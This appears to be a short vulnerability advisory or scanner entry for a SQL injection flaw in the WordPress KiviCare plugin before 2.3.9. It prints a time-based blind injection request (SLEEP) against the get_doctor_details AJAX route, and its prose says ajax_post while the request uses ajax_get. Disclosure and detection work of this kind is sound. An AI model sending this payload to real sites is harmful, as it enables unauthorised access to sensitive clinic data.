WordPress KiviCare plugin before 2.3.9 contains a SQL injection vulnerability. The plugin does not sanitize and escape some parameters before using them in SQL statements via the ajax_post AJAX action with the get_doctor_details route. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
GET /wp-admin/admin-ajax.php?action=ajax_get&route_name=get_doctor_details&clinic_id=%7B"id":"1"%7D&props_doctor_id=1,2)+AND+(SELECT+42+FROM+(SELECT(SLEEP(6)))b HTTP/1.1